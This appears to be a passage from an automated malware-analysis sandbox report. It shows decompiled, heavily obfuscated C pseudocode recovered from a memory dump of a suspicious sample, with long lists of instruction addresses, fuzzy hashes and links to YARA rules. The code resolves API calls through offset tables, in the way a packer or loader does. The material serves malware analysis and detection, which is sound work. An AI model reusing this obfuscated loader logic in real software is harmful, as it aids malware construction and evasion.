					_t214 =  *((intOrPtr*)(_t217 + 0x45d020))();
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) & 0x00000000;
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) ^ _t275 ^  *_t314 ^ _t214;
					_t275 = _t275;
				}
				_t314[1] =  *(_t217 + 0x4183c8);
				_t275 = _t275;
				 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
				 *_t314 =  *_t314 + _t217;
				_t190 =  *((intOrPtr*)(_t217 + 0x45d040))( *(_t305 - 0x24), _t214);
				 *(_t305 - 0x20) = _t259;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) & 0x00000000;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) ^ (_t259 & 0x00000000 | _t190);
				_t259 =  *(_t305 - 0x20);
				goto L6;
			}

0x016c1b95
0x016c1b95
0x016c1b95
0x016c1b95
0x016c1b9a
0x016c1b9d
0x016c1ba3
0x016c1bab
0x016c1bb2
0x016c1bb8
0x016c1bc2
0x016c1c78
0x016c1c7c
0x016c1c99
0x016c1c9b
0x016c1ca2
0x016c1ca9
0x016c1ca9
0x016c1c7e
0x016c1c7e
0x016c1c85
0x016c1c8c
0x016c1c8c
0x016c1cb0
0x016c1cb1
0x016c1cb5
0x016c1cc1
0x016c1cc6
0x016c1cc6
0x016c1cc9
0x016c1ccc
0x016c1ccf
0x016c1cd4
0x016c1cdb
0x016c1cde
0x016c1cdf
0x016c1ceb
0x016c1ced
0x016c1cf0
0x016c1cf9
0x016c1cfc
0x016c1cfd
0x016c1d04
0x016c1d07
0x016c1d0a
0x016c1d0a
0x016c1d15
0x016c1d17
0x016c1d1a
0x016c1d1d
0x016c1d1f
0x016c1d20
0x016c1d2c
0x016c1d2e
0x016c1d31
0x016c1d31
0x016c1d37
0x016c1d41
0x016c1d42
0x016c1d44
0x016c1d46
0x016c1d47
0x016c1d49
0x016c1d4b
0x016c1d4c
0x016c1d4c
0x016c1d4c
0x016c1d51
0x016c1d59
0x016c1d63
0x016c1d67
0x016c1d70
0x016c1d74
0x016c1d7c
0x016c1d7f
0x016c1d85
0x016c1d8d
0x016c1d94
0x016c1d9a
0x016c1d9a
0x016c1da4
0x016c1db1
0x016c1dba
0x016c1dc0
0x016c1dc4
0x016c1dc8
0x016c1dd3
0x016c1dd7
0x016c1de0
0x016c1de4
0x016c1de5
0x016c1deb
0x016c1df2
0x016c1df8
0x016c1df8
0x016c1dfb
0x016c1e08
0x016c1e0a
0x016c1e11
0x016c1e1c
0x016c1e20
0x016c1e22
0x016c1e26
0x016c1e29
0x016c1e33
0x016c1e3c
0x016c1e3d
0x016c1e40
0x016c1e43
0x016c1e49
0x016c1e49
0x016c1e4c
0x016c1e53
0x016c1e59
0x016c1e61
0x016c1e6a
0x016c1e6a
0x016c1e74
0x016c1e7e
0x016c1e88
0x016c1e88
0x016c1e8b
0x016c1e91
0x016c1e98
0x016c1e9e
0x016c1e9e
0x016c1e61
0x016c1eab
0x016c1ead
0x016c1eb5
0x016c1eb7
0x016c1ec1
0x016c1ecb
0x016c1ecb
0x016c1ed5
0x016c1ed5
0x016c1ee0
0x016c1ee4
0x016c1eec
0x016c1eef
0x016c1efb
0x016c1f02
0x016c1f08
0x016c1f09
0x016c1f09
0x016c1f11
0x016c1f1e
0x016c1f23
0x016c1f26
0x016c1f2c
0x016c1f33
0x016c1f39
0x016c1f3c
0x016c1f3c
0x016c1f3d
0x016c1f44
0x016c1f47
0x016c1f4e
0x016c1f51
0x016c1f54
0x016c1f5a
0x016c1f61
0x016c1f67
0x016c1f6a
0x016c1f72
0x016c1f76
0x016c1f7e
0x016c1f88
0x016c1f95
0x016c1f99
0x016c1fa1
0x016c1fa2
0x016c1fa5
0x016c1fa8
0x016c1fa8
0x016c1fae
0x016c1fb5
0x016c1fbf
0x016c1fc8
0x016c1fce
0x016c1fce
0x016c1fdb
0x016c1fdb
0x016c1fde
0x016c1fe4
0x016c1feb
0x016c1ff1
0x016c1ff4
0x016c1ff4
0x016c1ffa
0x016c1ffa
0x016c1bcf
0x016c1bd1
0x016c1bd2
0x016c1bd5
0x016c1bd8
0x016c1bdf
0x016c1bdf
0x016c1be2
0x016c1be3
0x016c1bea
0x016c1bef
0x016c1bf2
0x016c1bf5
0x016c1bfb
0x016c1c03
0x016c1c0a
0x016c1c10
0x016c1c10
0x016c1c13
0x016c1c1b
0x016c1c1f
0x016c1c27
0x016c1c29
0x016c1c35
0x016c1c3c
0x016c1c42
0x016c1c42
0x016c1c4b
0x016c1c4f
0x016c1c50
0x016c1c57
0x016c1c5a
0x016c1c60
0x016c1c68
0x016c1c6f
0x016c1c75
0x00000000

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction ID: f02cbd9bfb12e3e29f345a9f625769e345c4ba53156423b96668384ea1e82a9e
Opcode Fuzzy Hash: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction Fuzzy Hash: ABE14C72804614DFEF018F54C9857EEBBB5FF88715F09849EEC48AB246CB781851CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 016C237B, Relevance: .3, Instructions: 291
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E016C237B(void* __ecx, signed int __edx, void* __edi, signed int __esi) {
				signed int _t171;
				signed int _t175;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				signed int _t182;
				void* _t184;
				signed int _t186;
				signed int _t187;
				signed int _t190;
				void* _t196;
				signed int _t197;
				signed int _t205;
				signed int _t211;
				signed int _t218;
				signed int _t220;
				signed int _t222;
				signed int _t227;
				void* _t237;
				signed int _t239;
				signed int _t243;
				signed int _t244;
				signed int _t258;
				signed int _t259;
				void* _t262;
				signed int _t263;
				signed int _t265;
				void* _t266;
				void* _t276;
				signed int _t278;
				signed int _t283;
				signed int* _t288;

				_t258 = __esi;
				_t190 = 0x4181d3;
				 *((intOrPtr*)(_t283 + 0x1e)) =  *((intOrPtr*)(_t283 + 0x1e)) + __edx;
				_t171 =  *0x008751F7();
				 *(_t283 - 0x10) = __edx;
				 *0x008303A6 =  *0x008303A6 & 0x00000000;
				 *0x008303A6 =  *0x008303A6 | __edx & 0x00000000 | _t171;
				_t218 =  *(_t283 - 0x10);
				_t243 =  *(__edi + 0x80);
				if( *0x008304FF == 0) {
					_t171 =  *0x008751F3();
					 *(_t283 - 0x10) = _t243;
					 *0x008304FF = _t171;
					_t243 =  *(_t283 - 0x10);
				}
				_t244 = _t243 +  *(_t283 + 8);
				if( *(_t190 + 0x41859b) == 0) {
					_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
					 *(_t283 - 0x10) = _t258;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) & 0x00000000;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) ^ _t258 & 0x00000000 ^ _t171;
					_t263 =  *(_t283 - 0x10);
				}
				do {
					if( *_t244 != 0) {
						 *_t288 = _t171;
						_t259 = 0 ^  *_t244;
						_t171 = 0;
						if( *(_t190 + 0x41816b) == 0) {
							_t288[1] =  *(_t190 + 0x418487);
							_t218 =  *_t288;
							 *_t288 =  *(_t190 + 0x418338);
							_t205 =  *_t288;
							 *_t288 =  *(_t190 + 0x4183ec);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t197, _t218, _t171, _t259);
							 *(_t283 - 0x10) = _t205;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) & 0x00000000;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) | _t205 ^  *(_t283 - 0x10) ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
					} else {
						if( *(_t190 + 0x418420) == 0) {
							_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
							 *(_t283 - 0x10) = _t197;
							 *(_t190 + 0x418420) = 0 ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
						 *(_t283 - 0x10) = _t190;
						_t259 = _t263 & 0x00000000 ^ _t190 -  *(_t283 - 0x10) ^  *(_t244 + 0x10);
						_t190 =  *(_t283 - 0x10);
						if( *(_t190 + 0x41812f) == 0) {
							_t288[1] =  *(_t190 + 0x418033);
							_t184 = _t171;
							 *_t288 =  *_t288 & 0x00000000;
							 *_t288 =  *_t288 + _t184;
							_t288[1] =  *(_t190 + 0x41813b);
							_t237 = _t218;
							_t239 =  *_t288;
							 *_t288 =  *(_t190 + 0x4182eb);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d044))(_t237, _t259, _t190, _t171);
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) & 0x00000000;
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) ^ _t239 ^  *_t288 ^ _t171;
							_t218 = _t239;
						}
					}
					_push(_t171);
					_t175 =  *_t288;
					 *_t288 =  *(_t244 + 0x10);
					if( *(_t190 + 0x4185cb) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d024))();
						 *_t288 = _t244;
						 *(_t190 + 0x4185cb) = 0 ^ _t175;
						_t244 = 0;
					}
					_pop( *_t66);
					if( *(_t190 + 0x418273) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *_t288 = _t197;
						 *(_t190 + 0x418273) = _t175;
						_t197 = 0;
					}
					_t177 = _t175 & 0x00000000 | _t259 & 0x00000000 ^  *(_t283 + 8);
					_t262 = _t259;
					if( *(_t190 + 0x418203) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 | _t177;
						_t187 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418203) = 0 ^ _t187;
						_t244 =  *(_t283 - 0x10);
						_t177 = _t244;
					}
					 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t177;
					if( *(_t190 + 0x4184ef) == 0) {
						 *_t288 =  *(_t190 + 0x418127);
						_t244 =  *_t288;
						 *_t288 =  *(_t190 + 0x4182f7);
						_t288[1] =  *(_t190 + 0x4185f7);
						_t276 = _t262;
						_t278 =  *_t288;
						 *_t288 =  *(_t190 + 0x41827f);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d048))(_t288, _t276, _t262, _t244, _t197);
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) & 0x00000000;
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) | _t278 ^  *_t288 | _t177;
						_t262 = _t278;
					}
					 *_t93 =  *((intOrPtr*)(_t244 + 0xc));
					_t196 =  *(_t283 - 0x10);
					if( *(_t190 + 0x418334) == 0) {
						 *_t288 =  *_t288 ^ _t190;
						 *_t288 =  *_t288 + _t196;
						_t211 =  *_t288;
						 *_t288 =  *(_t190 + 0x41838d);
						_t288[1] =  *(_t190 + 0x4185af);
						_t244 = _t244;
						_t283 =  *_t288;
						 *_t288 =  *(_t190 + 0x418410);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t177, _t196, _t190);
						 *(_t283 - 0x10) = _t211;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) & 0x00000000;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) ^ (_t211 & 0x00000000 | _t177);
						_t196 = _t283;
					}
					_t197 = _t196 +  *(_t283 + 8);
					if( *(_t190 + 0x418474) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 + _t197;
						_t177 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) & 0x00000000;
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) | _t218 -  *_t288 ^ _t177;
						_t218 = _t218;
						_t197 = _t218;
					}
					_t263 = _t262 +  *(_t283 + 8);
					if( *(_t190 + 0x418020) == 0) {
						 *_t288 =  *_t288 - _t177;
						 *_t288 = _t197;
						 *_t288 =  *(_t190 + 0x418493);
						_t218 =  *_t288;
						 *_t288 =  *(_t190 + 0x418507);
						 *(_t283 - 0x10) =  *(_t283 - 0x10) & 0x00000000;
						 *_t288 =  *_t288 + _t190;
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 ^ _t190;
						_t186 =  *((intOrPtr*)(_t190 + 0x45d044))( *(_t283 - 0x10),  *_t288, _t218, _t177);
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) & 0x00000000;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) | _t244 ^  *(_t283 - 0x10) | _t186;
						_t244 =  *(_t283 - 0x10);
						_t197 = _t218;
					}
					 *_t288 = _t197;
					_t178 =  *((intOrPtr*)(_t190 + 0x45d00c))( *(_t283 - 0x10));
					 *(_t283 - 8) =  *(_t283 - 8) & 0x00000000;
					 *(_t283 - 8) =  *(_t283 - 8) ^ (_t190 -  *_t288 | _t178);
					_t190 = _t190;
					do {
						if(( *_t263 & 0x80000000) != 0) {
							_t288[1] =  *_t263;
							_t220 = _t218;
							 *_t152 = _t244;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x0000ffff;
						} else {
							 *(_t283 - 0x10) = 0;
							_push( *(_t283 - 0x10));
							 *_t288 =  *_t288 + _t263;
							_t227 = _t218;
							 *(_t283 - 0x10) = _t227;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x00000000;
							 *(_t283 - 4) =  *(_t283 - 4) ^ _t227 ^  *(_t283 - 0x10) ^  *_t263 +  *(_t283 + 8) + 0x00000002;
							_t220 =  *(_t283 - 0x10);
							_pop(_t263);
						}
						 *_t156 =  *(_t283 - 4);
						_t179 =  *(_t283 - 0x10);
						_t288[1] =  *(_t283 - 4);
						_t222 = _t220;
						 *(_t283 - 0x10) = _t222;
						_t218 =  *(_t283 - 0x10);
						 *_t288 =  *_t288 ^ _t283;
						 *_t288 =  *_t288 + (_t179 & 0x00000000 | _t222 & 0x00000000 |  *(_t283 - 8));
						_t182 =  *((intOrPtr*)(_t190 + 0x45d008))(_t283, _t244);
						_push( *(_t283 - 0x10));
						 *_t288 = _t263;
						_t265 = _t263 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t283 - 0xc));
						_t244 = _t244;
						 *(_t283 - 0x10) = _t197;
						 *_t265 =  *_t265 & 0x00000000;
						 *_t265 =  *_t265 | _t197 & 0x00000000 ^ _t182;
						_t197 =  *(_t283 - 0x10);
						_pop(_t266);
						 *_t288 = 4;
						_t171 = _t244;
						_t263 = _t266 + _t171;
						 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t171;
					} while ( *_t263 != 0);
					_t244 = _t244 + 0x14;
					_t283 = _t283;
				} while ( *_t244 != 0 ||  *(_t244 + 0x10) != 0);
				_push(_t263);
				return _t171 ^ _t171;
			}

0x016c237b
0x016c237b
0x016c2380
0x016c2383
0x016c2389
0x016c2391
0x016c2398
0x016c239e
0x016c23a1
0x016c23ae
0x016c23b0
0x016c23b6
0x016c23bd
0x016c23c3
0x016c23c3
0x016c23c6
0x016c23d0
0x016c23d2
0x016c23d8
0x016c23e0
0x016c23e7
0x016c23ed
0x016c23ed
0x016c23f0
0x016c23f3
0x016c2498
0x016c249f
0x016c24a1
0x016c24a9
0x016c24b3
0x016c24bf
0x016c24bf
0x016c24c9
0x016c24c9
0x016c24cc
0x016c24d2
0x016c24da
0x016c24e1
0x016c24e7
0x016c24e7
0x016c23f9
0x016c2400
0x016c2402
0x016c2408
0x016c240f
0x016c2415
0x016c2415
0x016c2418
0x016c2424
0x016c2426
0x016c2430
0x016c243a
0x016c243e
0x016c2440
0x016c2444
0x016c244f
0x016c2453
0x016c245b
0x016c245b
0x016c245e
0x016c246a
0x016c2471
0x016c2477
0x016c2477
0x016c2478
0x016c24ea
0x016c24ee
0x016c24ee
0x016c24f8
0x016c24fa
0x016c2502
0x016c2509
0x016c250f
0x016c250f
0x016c2510
0x016c251a
0x016c251c
0x016c2524
0x016c252b
0x016c2531
0x016c2531
0x016c253c
0x016c253e
0x016c2546
0x016c2549
0x016c254d
0x016c2550
0x016c2556
0x016c255d
0x016c2563
0x016c2566
0x016c2566
0x016c2567
0x016c2571
0x016c257a
0x016c2584
0x016c2584
0x016c258f
0x016c2593
0x016c259b
0x016c259b
0x016c259f
0x016c25ab
0x016c25b2
0x016c25b8
0x016c25b8
0x016c25bc
0x016c25c2
0x016c25ca
0x016c25cd
0x016c25d0
0x016c25da
0x016c25da
0x016c25e5
0x016c25e9
0x016c25f1
0x016c25f1
0x016c25f4
0x016c25fa
0x016c2602
0x016c2609
0x016c2612
0x016c2612
0x016c2613
0x016c261d
0x016c2620
0x016c2624
0x016c2627
0x016c2633
0x016c263a
0x016c2640
0x016c2641
0x016c2641
0x016c2642
0x016c264c
0x016c264f
0x016c2652
0x016c265c
0x016c2666
0x016c2666
0x016c2669
0x016c2670
0x016c2674
0x016c2678
0x016c267b
0x016c2681
0x016c2689
0x016c2690
0x016c2696
0x016c2699
0x016c2699
0x016c269d
0x016c26a0
0x016c26ac
0x016c26b0
0x016c26b3
0x016c26b4
0x016c26ba
0x016c26f3
0x016c26f7
0x016c26f8
0x016c26fb
0x016c26bc
0x016c26bc
0x016c26c3
0x016c26c6
0x016c26d9
0x016c26da
0x016c26e2
0x016c26e6
0x016c26e9
0x016c26ec
0x016c26ec
0x016c2705
0x016c270b
0x016c2711
0x016c2715
0x016c2716
0x016c2724
0x016c2728
0x016c272b
0x016c272e
0x016c2734
0x016c2737
0x016c2744
0x016c2746
0x016c2747
0x016c274f
0x016c2752
0x016c2754
0x016c2757
0x016c2759
0x016c2760
0x016c2761
0x016c2763
0x016c2766
0x016c2778
0x016c277a
0x016c277b
0x016c278e
0x016c2799

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction ID: 072184af68ee83cd432fe3e3079350570119b40457c6a1b07041aa6f193d9c6e
Opcode Fuzzy Hash: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction Fuzzy Hash: C3C18A32800215DFEB14DF65C8897AEBBF5FF88725F09846DDC889B246DB781451CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 016C1000, Relevance: .3, Instructions: 279
COMMONCrypto

Download Yara Rule

C-Code - Quality: 30%

			E016C1000(void* __eax, signed int __ebx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				void* __ecx;
				signed int _t146;
				signed int _t148;
				intOrPtr _t149;
				signed int _t151;
				signed int _t155;
				signed int _t159;
				intOrPtr _t160;
				signed int _t161;
				signed int _t163;
				signed int _t166;
				signed int _t167;
				signed int _t170;
				signed int _t173;
				signed int _t176;
				signed int _t178;
				void* _t179;
				signed int _t182;
				signed int _t186;
				signed int _t196;
				void* _t198;
				signed int _t202;
				signed int _t205;
				signed int _t208;
				signed int _t211;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t220;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int* _t251;

				_t230 = __esi;
				_t214 = __edi;
				_t205 = __edx;
				_t167 = __ebx;
				if( *(__ebx + 0x4184df) == 0) {
					_push(__esi);
					_t237 =  *_t251;
					 *_t251 =  *(__ebx + 0x41811f);
					_push(_t239);
					_v20 =  *((intOrPtr*)(__ebx + 0x41860f));
					_t202 = _t176;
					_push(_t237);
					 *_t251 =  *_t251 ^ _t237;
					 *_t251 = _t202;
					_push(_t237);
					_t230 =  *_t251;
					 *_t251 =  *(__ebx + 0x41822f);
					_push(_t230);
					_v32 =  *((intOrPtr*)(__ebx + 0x418523));
					_t166 =  *((intOrPtr*)(__ebx + 0x45d048))();
					_v12 = _t202;
					 *(__ebx + 0x4184df) = 0 ^ _t166;
					_t176 = _v12;
				}
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t251 =  *_t251 | _t214;
				if( *(_t167 + 0x4183b0) == 0) {
					_v20 =  *((intOrPtr*)(_t167 + 0x418097));
					_t196 =  *_t251;
					 *_t251 =  *(_t167 + 0x418103);
					_t230 =  *_t251;
					 *_t251 =  *(_t167 + 0x418297);
					_v32 =  *((intOrPtr*)(_t167 + 0x41854a));
					_t198 = _t196;
					_t163 =  *((intOrPtr*)(_t167 + 0x45d044))(_t196, _t230, _v20, _t176);
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) & 0x00000000;
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) | _t198 -  *_t251 | _t163;
					_t176 = _t198;
				}
				_v12 = _t167;
				_t178 = _t176 & 0x00000000 ^ _t167 - _v12 ^ _a4;
				_t170 = _v12;
				if( *((intOrPtr*)(_t170 + 0x418454)) == 0) {
					_v12 = 0;
					_v20 = _v20 ^ _t178;
					_push( *((intOrPtr*)(_t170 + 0x45d020))(_v12));
					_pop( *_t39);
					_push(_v12);
					_pop( *_t41);
					_pop(_t178);
				}
				_t216 = _t214 & 0x00000000 ^ (_t205 ^ _v20 | _t178);
				_t208 = _t205;
				if( *(_t170 + 0x4183c4) == 0) {
					_t161 =  *((intOrPtr*)(_t170 + 0x45d024))();
					_v20 = _t239;
					 *(_t170 + 0x4183c4) = 0 ^ _t161;
					_t239 = 0;
				}
				_v20 = _v20 ^ _t178;
				_t179 = _t178;
				_t45 = _t170 + 0x41847c; // 0x41847c
				_v20 = _v20 ^ _t230;
				_v20 = _t45;
				_t146 =  *((intOrPtr*)(_t170 + 0x45d018))(_t230);
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) & 0x00000000;
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) ^ _t179 -  *_t251 ^ _t146;
				_t182 = _t179;
				 *_t251 = _t170;
				_v8 = _t216;
				_t173 = 0;
				_t52 = _t173 + 0x4182af; // 0x4182af
				_v12 = _v12 & 0x00000000;
				 *_t251 =  *_t251 ^ _t52;
				_t148 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12);
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) & 0x00000000;
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) | _t239 ^  *_t251 ^ _t148;
				_t242 = _t239;
				_push(0);
				if( *((intOrPtr*)(_t173 + 0x418107)) == 0) {
					_t160 =  *((intOrPtr*)(_t173 + 0x45d020))();
					_v32 = _t242;
					 *((intOrPtr*)(_t173 + 0x418107)) = _t160;
					_t242 = 0;
				}
				_t149 =  *((intOrPtr*)(_t173 + 0x45d030))();
				if( *((intOrPtr*)(_t173 + 0x418597)) == 0) {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v32 = _v32 + _t182;
					_push(_t242);
					 *_t251 =  *(_t173 + 0x418460);
					_push(_t182);
					_push( *_t251);
					_v40 =  *((intOrPtr*)(_t173 + 0x418623));
					_pop(_t242);
					_v44 =  *((intOrPtr*)(_t173 + 0x4181bb));
					_v48 = _v48 ^ _t216;
					_v48 = _t230;
					_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t182);
					 *_t76 = _t149;
					_push(_v12);
					_pop( *_t78);
					_t182 = _t216;
				}
				do {
					_v8 = _v8 - 1;
					if( *((intOrPtr*)(_t173 + 0x4182fb)) == 0) {
						_v12 = 0;
						_v32 = _v32 | _t182;
						_t242 =  *_t251;
						 *_t251 =  *(_t173 + 0x4184ff);
						_v40 =  *((intOrPtr*)(_t173 + 0x418371));
						_v44 =  *((intOrPtr*)(_t173 + 0x41810f));
						_t211 = _t208;
						_v48 =  *((intOrPtr*)(_t173 + 0x41825b));
						_t216 = _t216;
						_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t230, _t182, _t242, _v12);
						_v12 = _t211;
						 *((intOrPtr*)(_t173 + 0x4182fb)) = _t149;
						_t208 = _v12;
						_t182 = _t149;
					}
					_v12 = _t230;
					_t218 = _t216 & 0x00000000 | _t230 - _v12 ^ _t182;
					_t230 = _v12;
					if( *(_t173 + 0x4182bf) == 0) {
						_v32 = _v32 ^ _t173;
						_v32 = _v32 | _t182;
						 *_t251 = 2;
						_v40 =  *((intOrPtr*)(_t173 + 0x4180c3));
						_t218 = _v44;
						_v44 =  *((intOrPtr*)(_t173 + 0x418369));
						_t155 =  *((intOrPtr*)(_t173 + 0x45d03c))(_t149, _t242, _t173);
						_v12 = _t230;
						 *(_t173 + 0x4182bf) = 0 ^ _t155;
						_t230 = _v12;
						_t182 = _t218;
					}
					_v12 = _v12 & 0x00000000;
					_v32 = _v32 + _t182;
					_t112 = _t173 + 0x41855a; // 0x41855a
					_v12 = _v12 & 0x00000000;
					 *_t251 =  *_t251 ^ _t112;
					_t151 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12, _v12);
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) & 0x00000000;
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) | _t182 ^ _v40 ^ _t151;
					_t186 = _t182;
					_t220 = _t218 + _a4 + 1;
					if( *(_t173 + 0x418047) == 0) {
						 *_t251 = _t186;
						_v40 =  *((intOrPtr*)(_t173 + 0x4182c3));
						_v44 =  *((intOrPtr*)(_t173 + 0x418424));
						_v12 = 0;
						_v48 = _v48 | _t173;
						_t159 =  *((intOrPtr*)(_t173 + 0x45d040))(_v12, _t186, _t151, _t220, _v12);
						_v12 = _t220;
						 *(_t173 + 0x418047) = 0 ^ _t159;
						_t220 = _v12;
						_pop(_t186);
					}
					 *_t251 =  *_t251 - _t230;
					 *_t251 = _t186;
					_t173 = _t173;
					 *((intOrPtr*)(_t173 + 0x45d038))(_t230);
					_push((_t220 + _a8 | _a4) + 1);
					_t216 = _v40;
					_v40 = _v8;
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v44 = _v44 | _t216;
					_v48 = _a8;
					_t208 = _t208;
					_t149 = E016C6424(_t173, _t186, _t216, _t230);
					_t182 = _t230;
				} while (_v8 != 0);
				return 0;
			}

0x016c1000
0x016c1000
0x016c1000
0x016c1000
0x016c100d
0x016c100f
0x016c1016
0x016c1016
0x016c1019
0x016c1021
0x016c1025
0x016c1026
0x016c1027
0x016c102a
0x016c102d
0x016c1034
0x016c1034
0x016c1037
0x016c103f
0x016c1044
0x016c104a
0x016c1051
0x016c1057
0x016c1057
0x016c105a
0x016c105e
0x016c1061
0x016c106b
0x016c1074
0x016c107e
0x016c107e
0x016c1088
0x016c1088
0x016c1093
0x016c1097
0x016c1098
0x016c10a4
0x016c10ab
0x016c10b1
0x016c10b1
0x016c10b2
0x016c10be
0x016c10c0
0x016c10ca
0x016c10cc
0x016c10d6
0x016c10df
0x016c10e0
0x016c10e3
0x016c10e6
0x016c10ec
0x016c10ec
0x016c10f6
0x016c10f8
0x016c1100
0x016c1102
0x016c110a
0x016c1111
0x016c1117
0x016c1117
0x016c1119
0x016c111c
0x016c111d
0x016c1124
0x016c1127
0x016c112a
0x016c1136
0x016c113d
0x016c1143
0x016c1146
0x016c114d
0x016c1150
0x016c1151
0x016c1157
0x016c115e
0x016c1161
0x016c116d
0x016c1174
0x016c117a
0x016c117b
0x016c1184
0x016c1186
0x016c118e
0x016c1195
0x016c119b
0x016c119b
0x016c119c
0x016c11a9
0x016c11ab
0x016c11af
0x016c11b2
0x016c11b5
0x016c11bc
0x016c11bf
0x016c11c0
0x016c11c7
0x016c11cb
0x016c11d3
0x016c11d7
0x016c11da
0x016c11dd
0x016c11e4
0x016c11e7
0x016c11ea
0x016c11f0
0x016c11f0
0x016c11f1
0x016c11f1
0x016c11fb
0x016c11fd
0x016c1207
0x016c1211
0x016c1211
0x016c121b
0x016c1226
0x016c122a
0x016c1233
0x016c1237
0x016c1238
0x016c123e
0x016c1245
0x016c124b
0x016c124e
0x016c124e
0x016c124f
0x016c125a
0x016c125c
0x016c1266
0x016c1269
0x016c126c
0x016c1270
0x016c127e
0x016c1288
0x016c1288
0x016c128b
0x016c1291
0x016c1298
0x016c129e
0x016c12a1
0x016c12a1
0x016c12a5
0x016c12ac
0x016c12af
0x016c12b5
0x016c12bc
0x016c12bf
0x016c12cb
0x016c12d2
0x016c12d9
0x016c12da
0x016c12e2
0x016c12e7
0x016c12f2
0x016c12fe
0x016c1301
0x016c130b
0x016c130e
0x016c1314
0x016c131b
0x016c1321
0x016c1324
0x016c1324
0x016c1326
0x016c1329
0x016c1337
0x016c1339
0x016c133f
0x016c1343
0x016c1343
0x016c1346
0x016c134a
0x016c134d
0x016c1355
0x016c1359
0x016c135a
0x016c135f
0x016c1360
0x016c1371

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
